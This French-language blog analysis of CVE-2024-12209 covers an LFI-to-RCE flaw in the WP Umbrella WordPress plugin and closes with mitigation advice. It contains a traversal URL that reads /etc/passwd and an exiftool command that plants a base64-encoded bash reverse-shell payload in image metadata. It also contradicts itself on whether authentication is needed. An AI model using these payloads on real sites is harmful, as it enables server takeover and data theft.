Retour à l'accueil

LFI RCE dans WP Umbrella CVE-2024-12209

Vulnérabilité LFI CVE-2024-12209 (CVSS 9.8) découverte dans WP Umbrella, menant à RCE. Deux vecteurs d'exploitation analysés : traversée de chemin directe et injection PHP via EXIF dans les fichiers média. Recommandations de protection incluent mise à jour et WAF.

RCE via LFI dans WP Umbrella : analyse complète de CVE-2024-12209
Advertisement 728x90

# Vulnérabilité LFI critique dans WP Umbrella permettant une RCE sur les sites WordPress

Une vulnérabilité LFI critique notée CVSS 9.8 (CVE-2024-12209) a été découverte dans le plugin WP Umbrella, utilisé sur plus de 30 000 sites WordPress. Elle affecte le point de terminaison umbrella-restore via le paramètre filename, permettant aux utilisateurs non authentifiés d'obtenir une exécution de code à distance (RCE).

Le plugin est conçu pour la surveillance et la gestion centralisées de plusieurs sites WordPress, ce qui le rend populaire auprès des agences et des freelances. La vulnérabilité est exploitée par inclusion dynamique de fichiers sans validation de chemin.

Configuration de l'environnement de test

Pour reproduire, vous aurez besoin d'une pile LAMP/XAMPP locale avec PHP et MySQL. Installez WordPress :

Google AdInline article slot
cd ~/Downloads
unzip wordpress-6.6.2.zip
sudo mv wordpress /opt/lampp/htdocs/
sudo chown -R daemon:daemon /opt/lampp/htdocs

Ensuite, lancez l'installateur à l'adresse http://127.0.0.1/wordpress. Installez la version vulnérable du plugin WP Umbrella.

Mécanisme LFI dans umbrella-restore

La vulnérabilité provient de l'absence de sanitisation du paramètre filename dans les fonctions include/require de PHP. Un attaquant peut spécifier un chemin vers un fichier arbitraire sur le serveur.

Vecteur 1 : Lecture directe des fichiers système (rôle Contributor)

Pour les rôles sans permissions de téléversement de médias, une traversée de chemin est utilisée :

Google AdInline article slot
https://wp-dev.ddev.site/?umbrella-restore=1&filename=../../../../../../etc/passwd

Cela permet d'extraire le contenu de /etc/passwd sans privilèges supplémentaires.

Vecteur 2 : RCE via injection de métadonnées EXIF (rôle Author)

  • Créez un fichier JPG avec une charge utile PHP dans le commentaire EXIF :
exiftool -Comment="<?php system('echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYx | base64 -d | bash')?>" name.jpg
  • Téléversez le fichier via l'administration : Médias → Ajouter.
  • Copiez l'URL du fichier téléversé, par ex., /wp-content/uploads/2024/12/maxresdefault.jpg.
  • Lancez un écouteur Netcat :
nc -lvnp 4444
  • Exploitez la LFI :
http://localhost/?umbrella-restore=1&filename=wp-content/uploads/2024/12/maxresdefault.jpg

La charge utile s'exécute, établissant un shell inverse sur le port 4444.

Recommandations de protection

  • Mettez à jour le plugin WP Umbrella vers la version corrigée.
  • Implémentez un WAF avec des règles contre la traversée de chemin (ModSecurity OWASP CRS).
  • Désactivez l'accès à umbrella-restore pour les utilisateurs non authentifiés.
  • Utilisez open_basedir dans php.ini pour restreindre l'accès au système de fichiers.
  • Scannez régulièrement pour LFI en utilisant Burp Suite ou Nuclei.

Points clés

  • La vulnérabilité CVSS 9.8 permet une RCE non authentifiée sur plus de 30 000 sites.
  • Deux vecteurs : LFI direct et injection via EXIF dans les fichiers médias téléversés.
  • L'exploitation ne nécessite qu'un accès frontal, rôle Contributor ou supérieur.
  • Le correctif est obligatoire ; sans lui, prise de contrôle du serveur et fuite de données sont possibles.
  • Testez dans un environnement isolé, évitez la production.

— Editorial Team

Google AdInline article slot
Advertisement 728x90

Lire ensuite